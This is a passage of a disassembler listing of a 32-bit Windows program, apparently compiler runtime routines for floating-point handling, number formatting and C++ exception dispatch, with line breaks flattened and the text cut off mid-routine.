loc_421DD8: ; CODE XREF: sub_421BFF+183j ; sub_421BFF+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421DE4 ; --------------------------------------------------------------------------- loc_421DE2: ; CODE XREF: sub_421BFF+14Ej mov esi, ebx loc_421DE4: ; CODE XREF: sub_421BFF+1E1j test esi, esi pop esi jz short loc_421DF1 push 10h call sub_4220AC pop ecx loc_421DF1: ; CODE XREF: sub_421BFF+1E8j and edi, 0FFFFFFFDh loc_421DF4: ; CODE XREF: sub_421BFF+26j ; sub_421BFF+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_421E0B test byte ptr [ebp+arg_8], 20h jz short loc_421E0B push 20h call sub_4220AC pop ecx and edi, 0FFFFFFEFh loc_421E0B: ; CODE XREF: sub_421BFF+1F9j ; sub_421BFF+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_421BFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421E16(int,int,int,int,int,int,double,int) sub_421E16 proc near ; CODE XREF: sub_421861+2Bp ; sub_4218B4+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421EC4 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421E81 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_422089 lea eax, [ebp+var_20] push eax call sub_42482D add esp, 0Ch test eax, eax jnz short loc_421E7B push esi call sub_421E9E pop ecx loc_421E7B: ; CODE XREF: sub_421E16+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421E81: ; CODE XREF: sub_421E16+14j push 0FFFFh push [ebp+arg_20] call sub_422089 push [ebp+arg_0] call sub_421E9E fld [ebp+arg_18] add esp, 0Ch leave retn sub_421E16 endp ; =============== S U B R O U T I N E ======================================= sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp ; sub_421E16+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421EB9 jle short locret_421EC3 cmp eax, 3 jg short locret_421EC3 mov dword_4DBDDC, 22h retn ; --------------------------------------------------------------------------- loc_421EB9: ; CODE XREF: sub_421E9E+7j mov dword_4DBDDC, 21h locret_421EC3: ; CODE XREF: sub_421E9E+9j ; sub_421E9E+Ej retn sub_421E9E endp ; =============== S U B R O U T I N E ======================================= sub_421EC4 proc near ; CODE XREF: sub_421E16+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43D308 loc_421ECB: ; CODE XREF: sub_421EC4+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421EE1 add eax, 8 inc ecx cmp eax, offset dbl_43D3E0 jl short loc_421ECB xor eax, eax retn ; --------------------------------------------------------------------------- loc_421EE1: ; CODE XREF: sub_421EC4+Dj mov eax, off_43D30C[ecx*8] retn sub_421EC4 endp ; =============== S U B R O U T I N E ======================================= sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421EF5 push 5 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EF5: ; CODE XREF: sub_421EE9+6j test al, 8 jz short loc_421EFD push 1 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EFD: ; CODE XREF: sub_421EE9+Ej test al, 4 jz short loc_421F05 push 2 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421F05: ; CODE XREF: sub_421EE9+16j test al, 1 jz short loc_421F0D push 3 loc_421F0B: ; CODE XREF: sub_421EE9+Aj ; sub_421EE9+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_421F0D: ; CODE XREF: sub_421EE9+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421EE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F16(double) sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp ; sub_41D19B:loc_41D221p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421F16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F28(double,int) sub_421F28 proc near ; CODE XREF: sub_421FAB+82p ; sub_421FAB+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F51 proc near ; CODE XREF: sub_41D055+31p ; sub_41D19B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_421F68 cmp [ebp+arg_0], edx jnz short loc_421F7A push 1 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F68: ; CODE XREF: sub_421F51+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_421F7A cmp [ebp+arg_0], edx jnz short loc_421F7A push 2 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F7A: ; CODE XREF: sub_421F51+11j ; sub_421F51+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421F8D push 3 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F8D: ; CODE XREF: sub_421F51+36j cmp cx, 7FF0h jnz short loc_421FA7 test [ebp+arg_4], 7FFFFh jnz short loc_421FA2 cmp [ebp+arg_0], edx jz short loc_421FA7 loc_421FA2: ; CODE XREF: sub_421F51+4Aj push 4 loc_421FA4: ; CODE XREF: sub_421F51+15j ; sub_421F51+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421FA7: ; CODE XREF: sub_421F51+41j ; sub_421F51+4Fj xor eax, eax pop ebp retn sub_421F51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421FAB(double,int) sub_421FAB proc near ; CODE XREF: sub_421BFF+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427860 push esi fnstsw ax sahf jnz short loc_421FCB fldz xor esi, esi fstp [ebp+var_8] jmp loc_422061 ; --------------------------------------------------------------------------- loc_421FCB: ; CODE XREF: sub_421FAB+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42203A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421FE3 cmp dword ptr [ebp+arg_0], ecx jz short loc_42203A loc_421FE3: ; CODE XREF: sub_421FAB+31j fld [ebp+arg_0] fcomp dbl_427860 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421FFB push 1 pop eax jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_421FFB: ; CODE XREF: sub_421FAB+49j xor eax, eax loc_421FFD: ; CODE XREF: sub_421FAB+4Ej ; sub_421FAB+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_422016 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_422010 or dword ptr [ebp+arg_0+4], 1 loc_422010: ; CODE XREF: sub_421FAB+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_422016: ; CODE XREF: sub_421FAB+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_422024 or byte ptr [ebp+arg_0+7], 80h loc_422024: ; CODE XREF: sub_421FAB+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 fstp [ebp+var_8] add esp, 0Ch jmp short loc_422061 ; --------------------------------------------------------------------------- loc_42203A: ; CODE XREF: sub_421FAB+28j ; sub_421FAB+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_422061: ; CODE XREF: sub_421FAB+1Bj ; sub_421FAB+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421FAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42206C proc near ; CODE XREF: sub_42194C+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_42206C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42207A proc near ; CODE XREF: sub_42194C+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42207A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422089 proc near ; CODE XREF: sub_41D055+13p ; sub_41D055+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_422089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp ; sub_421BFF+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_4220C3 fld tbyte_43D408 fistp [ebp+arg_0] wait loc_4220C3: ; CODE XREF: sub_4220AC+Bj test cl, 8 jz short loc_4220D8 fstsw ax fld tbyte_43D408 fstp [ebp+var_8] wait fstsw ax loc_4220D8: ; CODE XREF: sub_4220AC+1Aj test cl, 10h jz short loc_4220E7 fld tbyte_43D414 fstp [ebp+var_8] wait loc_4220E7: ; CODE XREF: sub_4220AC+2Fj test cl, 4 jz short loc_4220F5 fldz fld1 fdivrp st(1), st fstp st wait loc_4220F5: ; CODE XREF: sub_4220AC+3Ej test cl, 20h jz short locret_422100 fldpi fstp [ebp+var_8] wait locret_422100: ; CODE XREF: sub_4220AC+4Cj leave retn sub_4220AC endp ; =============== S U B R O U T I N E ======================================= sub_422102 proc near ; CODE XREF: sub_41D124+Fp push 30000h push 10000h call sub_424865 pop ecx pop ecx retn sub_422102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427870 fstp [ebp+var_8] fld dbl_427868 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4276F8 fnstsw ax sahf jbe short loc_42214E push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_42214E: ; CODE XREF: sub_422114+33j xor eax, eax leave retn sub_422114 endp ; =============== S U B R O U T I N E ======================================= sub_422152 proc near ; CODE XREF: sub_41D124+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2690000h test eax, eax jz short loc_422176 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26B032Eh test eax, eax jz short loc_422176 push 0 call eax ; sub_41D124 retn ; --------------------------------------------------------------------------- loc_422176: ; CODE XREF: sub_422152+Dj ; sub_422152+1Dj jmp sub_422114 sub_422152 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp ; DATA XREF: sub_41D13C+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DFEC cmp eax, 65h pop ecx jz short loc_4221BB loc_42218F: ; CODE XREF: sub_42217B+3Ej inc esi cmp dword_43D084, 1 jle short loc_4221A8 movsx eax, byte ptr [esi] push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4221B7 ; --------------------------------------------------------------------------- loc_4221A8: ; CODE XREF: sub_42217B+1Cj movsx eax, byte ptr [esi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 loc_4221B7: ; CODE XREF: sub_42217B+2Bj test eax, eax jnz short loc_42218F loc_4221BB: ; CODE XREF: sub_42217B+12j mov cl, byte_43D088 mov al, [esi] mov [esi], cl inc esi loc_4221C6: ; CODE XREF: sub_42217B+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_4221C6 pop esi retn sub_42217B endp ; =============== S U B R O U T I N E ======================================= sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p ; DATA XREF: sub_41D13C+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43D088 mov cl, [eax] test cl, cl jz short loc_4221F1 loc_4221E5: ; CODE XREF: sub_4221D5+1Aj cmp cl, dl jz short loc_4221F1 mov cl, [eax+1] inc eax test cl, cl jnz short loc_4221E5 loc_4221F1: ; CODE XREF: sub_4221D5+Ej ; sub_4221D5+12j mov cl, [eax] inc eax test cl, cl jz short locret_422222 loc_4221F8: ; CODE XREF: sub_4221D5+34j mov cl, [eax] test cl, cl jz short loc_42220B cmp cl, 65h jz short loc_42220B cmp cl, 45h jz short loc_42220B inc eax jmp short loc_4221F8 ; --------------------------------------------------------------------------- loc_42220B: ; CODE XREF: sub_4221D5+27j ; sub_4221D5+2Cj ... mov ecx, eax loc_42220D: ; CODE XREF: sub_4221D5+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42220D cmp [eax], dl jnz short loc_422218 dec eax loc_422218: ; CODE XREF: sub_4221D5+40j ; sub_4221D5+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_422218 locret_422222: ; CODE XREF: sub_4221D5+21j retn sub_4221D5 endp ; =============== S U B R O U T I N E ======================================= sub_422223 proc near ; DATA XREF: sub_41D13C+28o ; ___:off_43D430o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427860 fnstsw ax sahf jb short loc_422238 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422238: ; CODE XREF: sub_422223+Fj xor eax, eax retn sub_422223 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42223B proc near ; CODE XREF: sub_420DB0+430p ; DATA XREF: sub_41D13C+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_422264 lea eax, [ebp+var_8] push eax call sub_424D28 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_422264: ; CODE XREF: sub_42223B+Cj lea eax, [ebp+arg_8] push eax call sub_424D55 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42223B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422279 proc near ; CODE XREF: sub_4224F6+17p ; sub_422540+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DBE5C, 0 push ebx push esi jz short loc_4222AE mov ebx, [ebp+arg_8] mov eax, dword_4DBE58 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_422591 pop ecx pop ecx jmp short loc_4222E6 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_422279+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_424DF9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424D82 add esp, 14h loc_4222E6: ; CODE XREF: sub_422279+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_4222F2 mov byte ptr [eax], 2Dh inc eax loc_4222F2: ; CODE XREF: sub_422279+73j test ebx, ebx jle short loc_42230A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43D088 mov eax, edi pop edi mov [eax], cl loc_42230A: ; CODE XREF: sub_422279+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DBE5C, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C890 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_422331 mov byte ptr [ecx], 45h loc_422331: ; CODE XREF: sub_422279+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_422376 mov ebx, [esi+4] dec ebx jns short loc_422345 neg ebx mov byte ptr [ecx], 2Dh loc_422345: ; CODE XREF: sub_422279+C5j inc ecx cmp ebx, 64h jl short loc_42235C mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_42235C: ; CODE XREF: sub_422279+D0j inc ecx cmp ebx, 0Ah jl short loc_422373 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_422373: ; CODE XREF: sub_422279+E7j add [ecx+1], bl loc_422376: ; CODE XREF: sub_422279+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_422279 endp ; =============== S U B R O U T I N E ======================================= sub_42237D proc near ; CODE XREF: sub_42251D+13p ; sub_422540+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DBE5C, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_4223B8 mov eax, dword_4DBE60 mov ebx, [esp+10h+arg_8] mov esi, dword_4DBE58 cmp eax, ebx jnz short loc_4223E8 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_4223E8 ; --------------------------------------------------------------------------- loc_4223B8: ; CODE XREF: sub_42237D+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_424DF9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424D82 add esp, 14h loc_4223E8: ; CODE XREF: sub_42237D+22j ; sub_42237D+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_4223F6 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_4223F6: ; CODE XREF: sub_42237D+70j mov eax, [esi+4] test eax, eax jg short loc_42240D push 1 push edi call sub_422591 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_42240F ; --------------------------------------------------------------------------- loc_42240D: ; CODE XREF: sub_42237D+7Ej add edi, eax loc_42240F: ; CODE XREF: sub_42237D+8Ej test ebx, ebx jle short loc_422454 push 1 push edi call sub_422591 mov al, byte_43D088 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_422454 cmp byte_4DBE5C, 0 jz short loc_422439 neg esi jmp short loc_42243F ; --------------------------------------------------------------------------- loc_422439: ; CODE XREF: sub_42237D+B6j neg esi cmp ebx, esi jl short loc_422441 loc_42243F: ; CODE XREF: sub_42237D+BAj mov ebx, esi loc_422441: ; CODE XREF: sub_42237D+C0j push ebx push edi call sub_422591 push ebx push 30h push edi call sub_41BF70 add esp, 14h loc_422454: ; CODE XREF: sub_42237D+94j ; sub_42237D+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_42237D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42245B proc near ; CODE XREF: sub_422540+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_424DF9 mov dword_4DBE58, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DBE60, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424D82 mov eax, dword_4DBE58 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DBE60, ecx setl cl mov byte_4DBE64, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DBE60, eax jl short loc_4224E1 cmp eax, ebx jge short loc_4224E1 test cl, cl jz short loc_4224D2 loc_4224C8: ; CODE XREF: sub_42245B+72j mov al, [esi] inc esi test al, al jnz short loc_4224C8 and [esi-2], al loc_4224D2: ; CODE XREF: sub_42245B+6Bj push ebx push [ebp+arg_4] push edi call sub_42251D add esp, 0Ch jmp short loc_4224F1 ; --------------------------------------------------------------------------- loc_4224E1: ; CODE XREF: sub_42245B+63j ; sub_42245B+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_4224F6 add esp, 10h loc_4224F1: ; CODE XREF: sub_42245B+84j pop edi pop esi pop ebx pop ebp retn sub_42245B endp ; =============== S U B R O U T I N E ======================================= sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DBE5C, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_422279 and byte_4DBE5C, 0 add esp, 10h retn sub_4224F6 endp ; =============== S U B R O U T I N E ======================================= sub_42251D proc near ; CODE XREF: sub_42245B+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DBE5C, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42237D and byte_4DBE5C, 0 add esp, 0Ch retn sub_42251D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp ; DATA XREF: sub_41D13Co ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42257B cmp [ebp+arg_8], 45h jz short loc_42257B cmp [ebp+arg_8], 66h jnz short loc_422568 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42237D add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_422568: ; CODE XREF: sub_422540+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42245B jmp short loc_42258C ; --------------------------------------------------------------------------- loc_42257B: ; CODE XREF: sub_422540+7j ; sub_422540+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_422279 loc_42258C: ; CODE XREF: sub_422540+39j add esp, 10h pop ebp retn sub_422540 endp ; =============== S U B R O U T I N E ======================================= sub_422591 proc near ; CODE XREF: sub_422279+2Cp ; sub_42237D+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_4225B4 push esi mov esi, [esp+8+arg_0] push esi call sub_41B9C0 inc eax push eax push esi add esi, edi push esi call sub_41D670 add esp, 10h pop esi loc_4225B4: ; CODE XREF: sub_422591+7j pop edi retn sub_422591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B6 proc near ; CODE XREF: ___:0041D31Cp ; sub_41D385+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_4225CC call sub_422E52 loc_4225CC: ; CODE XREF: sub_4225B6+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_4225F4 cmp dword ptr [esi+4], 0 jz short loc_42264A cmp [ebp+arg_14], 0 jnz short loc_42264A push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_4228FD add esp, 10h jmp short loc_42264A ; --------------------------------------------------------------------------- loc_4225F4: ; CODE XREF: sub_4225B6+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_42264A cmp dword ptr [eax], 0E06D7363h jnz short loc_42262E cmp [eax+14h], edi jbe short loc_42262E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_42262E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_42264D ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_4225B6+4Aj ; sub_4225B6+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_422651 add esp, 20h loc_42264A: ; CODE XREF: sub_4225B6+23j ; sub_4225B6+29j ... push 1 pop eax loc_42264D: ; CODE XREF: sub_4225B6+76j pop edi pop esi pop ebp retn sub_4225B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_422671 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_422676 loc_422671: ; CODE XREF: sub_422651+16j call sub_422E52 loc_422676: ; CODE XREF: sub_422651+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA mov esi, dword_4DBE68 test esi, esi jz loc_4227C8 mov eax, dword_4DBE6C push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424F80 pop ecx test eax, eax pop ecx jnz short loc_4226CC call sub_422E52 loc_4226CC: ; CODE XREF: sub_422651+74j cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA call sub_422E52 loc_4226EA: ; CODE XREF: sub_422651+41j ; sub_422651+46j ... cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz loc_4227CD cmp [esi+14h], edi jnz loc_4227CD mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov ebx, eax loc_422721: ; CODE XREF: sub_422651+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_4227B8 cmp [ebx], edi jg short loc_4227AD cmp edi, [ebx+4] jg short loc_4227AD mov eax, [ebx+10h] mov 